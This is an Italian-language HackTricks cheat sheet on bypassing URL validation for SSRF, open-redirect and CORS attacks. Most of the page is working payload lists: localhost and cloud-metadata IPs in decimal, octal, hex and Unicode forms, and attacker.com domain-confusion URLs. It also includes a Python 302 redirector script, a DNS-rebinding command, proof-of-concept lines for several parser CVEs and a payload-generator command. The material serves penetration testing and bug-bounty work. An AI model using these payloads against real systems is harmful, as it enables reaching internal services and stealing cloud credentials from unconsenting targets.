URL Format Bypass
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Localhost
Localhost payloads
```bash # Localhost 0 # Yes, just 0 is localhost in Linux http://127.0.0.1:80 http://127.0.0.1:443 http://127.0.0.1:22 http://127.1:80 http://127.000000000000000.1 http://0 http:@0/ --> http://localhost/ http://0.0.0.0:80 http://localhost:80 http://[::]:80/ http://[::]:25/ SMTP http://[::]:3128/ Squid http://[0000::1]:80/ http://[0:0:0:0:0:ffff:127.0.0.1]/thefile http://①②⑦.⓪.⓪.⓪CIDR bypass
http://127.127.127.127 http://127.0.1.3 http://127.0.0.0
Dot bypass
127。0。0。1 127%E3%80%820%E3%80%820%E3%80%821
Decimal bypass
http://2130706433/ = http://127.0.0.1 http://3232235521/ = http://192.168.0.1 http://3232235777/ = http://192.168.1.1
Octal Bypass
http://0177.0000.0000.0001 http://00000177.00000000.00000000.00000001 http://017700000001
Hexadecimal bypass
127.0.0.1 = 0x7f 00 00 01 http://0x7f000001/ = http://127.0.0.1 http://0xc0a80014/ = http://192.168.0.20 0x7f.0x00.0x00.0x01 0x0000007f.0x00000000.0x00000000.0x00000001
Mixed encodings bypass
169.254.43518 -> Partial Decimal (Class B) format combines the third and fourth parts of the IP address into a decimal number 0xA9.254.0251.0376 -> hexadecimal, decimal and octal
Add 0s bypass
127.000000000000.1
You can also mix different encoding formats
https://www.silisoftware.com/tools/ipconverter.php
Malformed and rare
localhost:+11211aaa localhost:00011211aaaa http://0/ http://127.1 http://127.0.1
DNS to localhost
localtest.me = 127.0.0.1 customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1 mail.ebc.apple.com = 127.0.0.6 (localhost) 127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP) www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com http://customer1.app.localhost.my.company.127.0.0.1.nip.io http://bugbounty.dod.network = 127.0.0.2 (localhost) 1ynrnhl.xip.io == 169.254.169.254 spoofed.burpcollaborator.net = 127.0.0.1
</details>
.png>)
L'**estensione di Burp** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) implementa bypass per la formattazione degli IP.
### Parser di dominio
<details>
<summary>Bypass del parser di dominio</summary>
```bash
https:attacker.com
https:/attacker.com
http:/\/\attacker.com
https:/\attacker.com
//attacker.com
\\/\/attacker.com/
/\/attacker.com/
/attacker.com
%0D%0A/attacker.com
#attacker.com
#%20@attacker.com
@attacker.com
http://169.254.1698.254\@attacker.com
attacker%00.com
attacker%E3%80%82com
attacker。com
ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ
# double encoded fragment to bypass split("#"): attacker.com%2523@victim
Domain confusion payloads
```bash # Try also to change attacker.com for 127.0.0.1 to try to access localhost # Try replacing https by http # Try URL-encoded characters https://{domain}@attacker.com https://{domain}.attacker.com https://{domain}%6D@attacker.com https://attacker.com/{domain} https://attacker.com/?d={domain} https://attacker.com#{domain} https://attacker.com@{domain} https://attacker.com#@{domain} https://attacker.com%23@{domain} https://attacker.com%00{domain} https://attacker.com%0A{domain} https://attacker.com?{domain} https://attacker.com///{domain} https://attacker.com\{domain}/ https://attacker.com;https://{domain} https://attacker.com\{domain}/ https://attacker.com\.{domain} https://attacker.com/.{domain} https://attacker.com\@@{domain} https://attacker.com:\@@{domain} https://attacker.com#\@{domain} https://attacker.com\anything@{domain}/ https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com # colon + backslash confusion (CVE-2025-0454 in autogpt) http://localhost:\@google.com/../On each IP position try to put 1 attackers domain and the others the victim domain
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
Parameter pollution
next={domain}&next=attacker.com
</details>
### Bypass di percorsi ed estensioni
Se è richiesto che l'URL termini con un percorso o un'estensione, o che contenga un percorso, puoi provare uno dei seguenti bypass:
https://metadata/vulnerable/path#/expected/path https://metadata/vulnerable/path#.extension https://metadata/expected/path/..%2f..%2f/vulnerable/path
### Fuzzing
Lo strumento [**recollapse**](https://github.com/0xacb/recollapse) può generare variazioni a partire da un input dato per tentare di bypassare la regex usata. Check [**this post**](https://0xacb.com/2022/11/21/recollapse/) also per maggiori informazioni.
### Wordlists personalizzate automatiche
Check out the [**URL validation bypass cheat sheet** webapp] from portswigger dove puoi inserire l'host consentito e quello dell'attaccante e genererà una lista di URL da provare per te. Considera anche se puoi usare l'URL in un parametro, in un Host header o in un CORS header.
<a class="content_ref" href="https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet"><span class="content_ref_label">URL validation bypass cheat sheet for SSRF/CORS/Redirect - 2024 Edition | Web Security Academy</span></a>
### Bypass via redirect
Potrebbe essere possibile che il server stia **filtrando la richiesta originale** di una SSRF **ma non** una possibile **redirect** response a quella richiesta.\
Ad esempio, un server vulnerabile a SSRF tramite: `url=https://www.google.com/` potrebbe essere **filtrando il parametro url**. Ma se usi un [python server to respond with a 302](https://pastebin.com/raw/ywAUhFrv) verso il posto dove vuoi reindirizzare, potresti essere in grado di **accedere a indirizzi IP filtrati** come 127.0.0.1 o addirittura a **protocolli** filtrati come gopher.\
[Check out this report.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
<details>
<summary>Redirector semplice per test SSRF</summary>
```python
#!/usr/bin/env python3
#python3 ./redirector.py 8000 http://127.0.0.1/
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
if len(sys.argv)-1 != 2:
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
sys.exit()
class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
DNS rebinding bypass (2025+)
Anche quando un filtro SSRF esegue una singola risoluzione DNS prima di inviare la richiesta HTTP, puoi comunque raggiungere host interni riassegnando il dominio tra la lookup e la connessione:
- Punta
victim.example.comsu un IP pubblico in modo che superi il controllo allow‑list / CIDR. - Fornisci un TTL molto basso (o usa un server autoritativo che controlli) e riassegna il dominio a
127.0.0.1o169.254.169.254poco prima che la richiesta reale venga effettuata. - Strumenti come Singularity (
nccgroup/singularity) automatizzano il server DNS autoritativo + HTTP e includono payload pronti. Esempio di avvio:python3 singularity.py --lhost <your_ip> --rhost 127.0.0.1 --domain rebinder.test --http-port 8080.
Questa tecnica è stata usata nel 2025 per bypassare la patch “safe URL” di BentoML e filtri SSRF a risoluzione singola simili.
Trucchi spiegati
Backslash-trick
Lo backslash-trick sfrutta una differenza tra la WHATWG URL Standard e RFC3986. Mentre RFC3986 è un quadro generale per gli URI, WHATWG è specifico per gli URL web ed è adottato dai browser moderni. La distinzione chiave risiede nel riconoscimento, da parte dello standard WHATWG, del backslash (\) come equivalente alla forward slash (/), influenzando il modo in cui gli URL vengono parsati e marcando in particolare la transizione dal nome host al percorso in un URL.

Parentesi quadra sinistra
Il carattere “left square bracket” [ nel segmento userinfo può far sì che Spring’s UriComponentsBuilder ritorni un valore di hostname diverso da quello restituito dai browser: https://example.com[@attacker.com
Altre fonti di confusione
.png)
immagine da https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/
IPv6 Zone Identifier (%25) Trick
I parser URL moderni che supportano RFC 6874 permettono agli indirizzi IPv6 link-local di includere un identificatore di zona dopo il segno percentuale. Alcuni filtri di sicurezza non sono a conoscenza di questa sintassi e rimuovono soltanto i letterali IPv6 tra parentesi quadre, permettendo al payload seguente di raggiungere un’interfaccia interna:
http://[fe80::1%25eth0]/ # %25 = encoded '%', interpreted as fe80::1%eth0
http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style)
If the target application validates that the host is not fe80::1 but stops parsing at the %, it may incorrectly treat the request as external. Always normalise the address before any security decision or strip the optional zone id entirely.
CVE recenti sul parsing delle librerie (2022–2026)
Numerosi framework diffusi hanno sofferto di problemi di hostname-mismatch che possono essere sfruttati per SSRF una volta che la validazione degli URL è stata bypassata con i trucchi elencati sopra:
| Anno | CVE | Componente | Descrizione del bug | PoC minimo |
|---|---|---|---|---|
| 2025 | CVE-2025-0454 | Python requests + urllib.parse (autogpt) | Mismatch nel parsing su http://localhost:\\@google.com/../ fa sì che le liste di host consentiti pensino che l’host sia google.com mentre la richiesta raggiunge localhost. | requests.get("http://localhost:\\@google.com/../") |
| 2025 | CVE-2025-2691 | Node package nossrf | La libreria pensata per bloccare SSRF controlla solo il nome host originale, non l’IP risolto, permettendo nomi host che risolvono in intervalli privati. | curl "http://trusted.example" --resolve trusted.example:80:127.0.0.1 |
| 2024 | CVE-2024-29415 | Node ip package | isPublic() ha classificato erroneamente come pubblici i localhost in dotted‑octal / forma corta (es., 0127.0.0.1, 127.1), permettendo ai filtri di accettare destinazioni interne. | ip.isPublic('0127.0.0.1') returns true on vulnerable versions |
| 2024 | CVE-2024-3095 | Langchain WebResearchRetriever | Nessun filtro sugli host; richieste GET potevano raggiungere IMDS/localhost da agenti AI. | URL controllato dall’utente dentro WebResearchRetriever |
| 2024 | CVE-2024-22243 / ‑22262 | Spring UriComponentsBuilder | Il carattere [ nel userinfo viene parsato diversamente da Spring rispetto ai browser, consentendo il bypass delle allow‑list. | https://example.com\[@internal |
| 2023 | CVE-2023-27592 | urllib3 <1.26.15 | Confusione con backslash ha permesso a http://example.com\\@169.254.169.254/ di bypassare filtri host che split-tano su @. | — |
| 2022 | CVE-2022-3602 | OpenSSL | La verifica del nome host veniva saltata quando il nome era terminato da un . (confusione legata ai domini con punto finale). | — |
Strumenti per generare payload (2024+)
Creare manualmente grandi word-list personalizzate è laborioso. Lo strumento open-source SSRF-PayloadMaker (Python 3) può ora generare automaticamente 80 k+ combinazioni di manipolazione degli host, inclusi encoding misti, downgrade forzato a HTTP e varianti con backslash:
# Generate every known bypass that transforms the allowed host example.com to attacker.com
python3 ssrf_maker.py --allowed example.com --attacker attacker.com -A -o payloads.txt
L’elenco risultante può essere utilizzato direttamente in Burp Intruder o in ffuf.
Riferimenti
- https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md
- https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet
- https://nvd.nist.gov/vuln/detail/CVE-2024-22243
- https://github.com/hsynuzm/SSRF-PayloadMaker
- https://medium.com/%40narendarlb123/1-cve-2025-0454-autogpt-ssrf-via-url-parsing-confusion-921d66fafcbe
- https://www.tenable.com/blog/how-tenable-bypassed-patch-for-bentoml-ssrf-vulnerability-CVE-2025-54381
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.


